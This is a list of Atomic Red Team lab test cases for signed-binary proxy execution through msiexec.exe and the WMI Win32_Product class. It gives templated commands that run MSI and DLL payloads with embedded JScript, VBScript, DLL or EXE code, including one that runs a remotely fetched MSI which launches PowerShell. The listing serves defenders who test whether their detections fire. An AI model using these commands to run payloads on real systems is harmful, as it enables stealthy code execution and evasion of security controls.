Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
command_promptwindowsMsiexec.exe - Execute Local MSI file with embedded JScript
Executes an MSI containing embedded JScript code using msiexec.exe
#{msi_exe} /q /#{action} "#{msi_payload}"
command_promptwindowsMsiexec.exe - Execute Local MSI file with embedded VBScript
Executes an MSI containing embedded VBScript code using msiexec.exe
#{msi_exe} /q /#{action} "#{msi_payload}"
command_promptwindowsMsiexec.exe - Execute Local MSI file with an embedded DLL
Executes an MSI containing an embedded DLL using msiexec.exe
#{msi_exe} /q /#{action} "#{msi_payload}"
command_promptwindowsMsiexec.exe - Execute Local MSI file with an embedded EXE
Executes an MSI containing an embedded EXE using msiexec.exe
#{msi_exe} /q /#{action} "#{msi_payload}"
powershellwindowsWMI Win32_Product Class - Execute Local MSI file with embedded JScript
Executes an MSI containing embedded JScript code using the WMI Win32_Product class
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }
powershellwindowsWMI Win32_Product Class - Execute Local MSI file with embedded VBScript
Executes an MSI containing embedded VBScript code using the WMI Win32_Product class
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }
powershellwindowsWMI Win32_Product Class - Execute Local MSI file with an embedded DLL
Executes an MSI containing an embedded DLL using the WMI Win32_Product class
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }
powershellwindowsWMI Win32_Product Class - Execute Local MSI file with an embedded EXE
Executes an MSI containing an embedded EXE using the WMI Win32_Product class
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }
command_promptwindowsMsiexec.exe - Execute the DllRegisterServer function of a DLL
Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the "bin" folder is only built for 64-bit, so this won't work on a 32-bit OS.
#{msi_exe} /y "#{dll_payload}"
command_promptwindowsMsiexec.exe - Execute the DllUnregisterServer function of a DLL
Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the "bin" folder is only built for 64-bit, so this won't work on a 32-bit OS.
#{msi_exe} /z "#{dll_payload}"
command_promptwindowsMsiexec.exe - Execute Remote MSI file
Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe.
#{msi_exe} /q /i "#{msi_payload}"